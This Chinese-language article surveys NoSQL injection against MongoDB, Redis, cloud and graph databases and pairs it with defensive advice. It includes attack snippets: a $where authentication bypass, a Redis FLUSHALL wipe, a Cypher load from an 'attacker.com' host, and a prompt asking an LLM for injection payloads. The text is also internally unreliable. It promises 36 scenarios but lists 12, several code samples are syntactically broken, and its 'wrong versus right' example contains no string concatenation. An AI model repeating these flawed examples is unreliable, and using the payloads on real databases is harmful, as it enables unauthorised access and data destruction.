36 NoSQL 注入：攻击原理、防御策略与最佳实践

引言：NoSQL注入的崛起与威胁

随着NoSQL数据库（如MongoDB、Redis、Cassandra等）在云计算和大数据场景中的广泛应用，传统SQL注入攻击的变种——NoSQL注入，正成为企业数据安全的新威胁。不同于SQL注入依赖特定语法，NoSQL注入通过操纵数据库查询逻辑实现攻击，其隐蔽性和破坏性更强。本文将系统梳理36种典型NoSQL注入场景，从攻击原理、防御策略到最佳实践，为企业提供全链条防护指南。

一、NoSQL注入的核心原理

1.1 NoSQL查询的特殊性

NoSQL数据库采用非关系型数据模型（如文档型、键值对、列族等），其查询语言（如MongoDB的BSON、Redis的命令）通常不依赖标准SQL语法。攻击者通过构造恶意输入，改变查询逻辑，实现未授权访问、数据泄露或系统破坏。

示例：MongoDB注入

// 合法查询
db.users.find({ username: "admin", password: "123456" });
// 恶意注入（通过$where操作符执行JavaScript）
db.users.find({ 
  $where: "this.password == '' || 1==1" 
});

攻击者通过$where操作符注入JavaScript代码，绕过密码验证。

1.2 注入的36种核心场景

根据攻击目标和技术手段，NoSQL注入可分为以下六大类，每类包含6种典型场景：

1.2.1 查询逻辑操纵

• 场景1：利用$or/$and构造永真条件

  db.users.find({ 
    $or: [{ username: input }, { isAdmin: true }] 
  });

  攻击者输入admin或{isAdmin: true}，绕过身份验证。

• 场景2：通过$regex模糊匹配

  db.users.find({ username: { $regex: ".*" } });

  匹配所有用户名，导致信息泄露。

1.2.2 聚合管道注入

• 场景3：在$match阶段注入恶意条件

  db.logs.aggregate([
    { $match: { level: { $gt: input } } } // 输入`-1`导致查询所有日志
  }]);

• 场景4：通过$project泄露字段

  db.users.aggregate([
    { $project: { password: 1, _id: 0 } } // 强制返回密码字段
  }]);

1.2.3 存储过程与JavaScript注入

• 场景5：执行恶意mapReduce函数

  db.collection.mapReduce(
    function() { emit(this._id, this.password); }, // 泄露密码
    function(key, values) { return values; },
    { out: "hacked_data" }
  );

• 场景6：利用eval()执行系统命令（如MongoDB的db.loadServerScripts()）

1.2.4 键值对数据库注入

• 场景7：Redis未授权访问+注入

  # 攻击者连接未授权Redis，执行FLUSHALL清空数据
  redis-cli -h <target_ip> FLUSHALL

• 场景8：通过HGETALL遍历哈希表

  redis-cli HGETALL user:*  # 枚举所有用户数据

1.2.5 云数据库专属场景

• 场景9：AWS DynamoDB表名注入

  // 攻击者修改表名参数访问敏感表
  const params = { TableName: "Admin-" + userInput };

• 场景10：Azure Cosmos DB分区键注入

  // 通过恶意分区键绕过访问控制
  const query = "SELECT * FROM c WHERE c.partitionKey = '" + input + "'";

1.2.6 图形数据库注入

• 场景11：Neo4j Cypher查询注入

  MATCH (u:User {name: '" + input + "' OR 1=1}) RETURN u

• 场景12：通过apoc.loadJson加载外部恶意脚本

  CALL apoc.loadJson('http://attacker.com/malicious.json')

二、NoSQL注入的防御策略

2.1 输入验证与参数化查询

• 原则：所有用户输入必须经过严格验证，使用参数化API（如MongoDB的$eq替代字符串拼接）。

• 代码示例：

  // 错误：字符串拼接
  db.users.find({ username: req.body.username });
  // 正确：参数化查询
  const username = req.body.username;
  db.users.find({ username: { $eq: username } });

2.2 最小权限原则

• 实践：数据库账号仅授予必要权限（如只读权限限制为find，禁止eval或drop）。
• 配置示例（MongoDB）：

  db.createUser({
    user: "app_user",
    roles: [{ role: "readWrite", db: "app_db" }] // 禁止执行JavaScript
  });

2.3 查询白名单与正则过滤

• 场景：对动态表名或字段名使用白名单校验。
• 代码示例：

  const allowedTables = ["users", "orders"];
  if (!allowedTables.includes(inputTable)) {
    throw new Error("Invalid table");
  }

2.4 审计与日志监控

• 工具推荐：
  • MongoDB：启用审计日志
  • Redis：配置slowlog记录可疑命令
  • 云数据库：使用AWS CloudTrail或Azure Monitor

2.5 网络隔离与加密

• 措施：
  • 数据库端口限制内网访问（如MongoDB默认27017）
  • 启用TLS加密传输（如Redis的requirepass+tls）

三、企业级防护最佳实践

3.1 开发阶段防护

• 静态分析工具：

  • 使用Semgrep检测NoSQL注入模式
  • 集成ESLint规则禁止危险API（如$where）

• 代码审查清单：

  • 所有数据库查询是否参数化？
  • 是否禁用动态JavaScript执行？
  • 错误信息是否暴露数据库结构？

3.2 运维阶段防护

• 自动化扫描：

  # 使用NoSQLMap工具检测注入漏洞
  python nosqlmap.py -u "http://target.com/api" --method POST --data '{"username":"admin"}'

• 补丁管理：

  • 及时升级NoSQL数据库至最新版本（如MongoDB 6.0修复的CVE-2022-2465）

3.3 应急响应流程

1. 隔离：立即切断受影响数据库的网络连接。
2. 取证：保存审计日志和内存转储。
3. 修复：撤销泄露的凭证，重建索引。
4. 复盘：通过攻击模拟（如Metasploit的mongodb_inject模块）验证防御效果。

四、未来趋势与挑战

4.1 AI驱动的自动化攻击

攻击者可能利用LLM生成更复杂的NoSQL注入载荷，例如：

import openai
response = openai.Completion.create(
  engine="text-davinci-003",
  prompt="Generate a MongoDB injection to bypass authentication:"
)

4.2 服务器less NoSQL注入

在AWS Lambda+DynamoDB架构中，攻击面扩展至函数权限配置：

# 错误配置示例（IAM策略过宽）
- Effect: Allow
  Action: dynamodb:Scan
  Resource: "*"

结论：构建纵深防御体系

NoSQL注入的防御需结合“预防-检测-响应”全链条控制。企业应定期开展红队演练，使用OWASP NoSQL注入测试指南验证防护效果。最终目标是将平均修复时间（MTTR）从数小时缩短至分钟级，最大限度降低数据泄露风险。

附录：推荐资源

• MongoDB安全手册
• Redis安全配置指南
• NoSQL注入检测工具库